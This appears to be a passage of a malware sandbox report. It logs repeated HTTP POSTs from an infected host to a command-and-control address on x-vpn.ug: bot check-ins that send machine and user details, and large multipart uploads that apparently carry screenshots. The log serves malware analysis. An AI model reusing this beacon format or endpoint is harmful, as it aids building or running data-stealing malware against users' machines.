Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----a5044036d0dc1e23f9afaaebedc2acb7Host: x-vpn.ugContent-Length: 96925Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----a5044036d0dc1e23f9afaaebedc2acb7Host: x-vpn.ugContent-Length: 96925Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6b25da1d7c79a47dd21b1764379d56a3Host: x-vpn.ugContent-Length: 101406Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----99cc801d75cb19bfa907b4bc028dba4fHost: x-vpn.ugContent-Length: 97234Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0bbdc347e92a5620378c0a4d4201c2c9Host: x-vpn.ugContent-Length: 101359Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0dc54927fe4ae0bd443133d1c42fd168Host: x-vpn.ugContent-Length: 101645Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0dc54927fe4ae0bd443133d1c42fd168Host: x-vpn.ugContent-Length: 101645Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0dc54927fe4ae0bd443133d1c42fd168Host: x-vpn.ugContent-Length: 101645Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0dc54927fe4ae0bd443133d1c42fd168Host: x-vpn.ugContent-Length: 101645Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
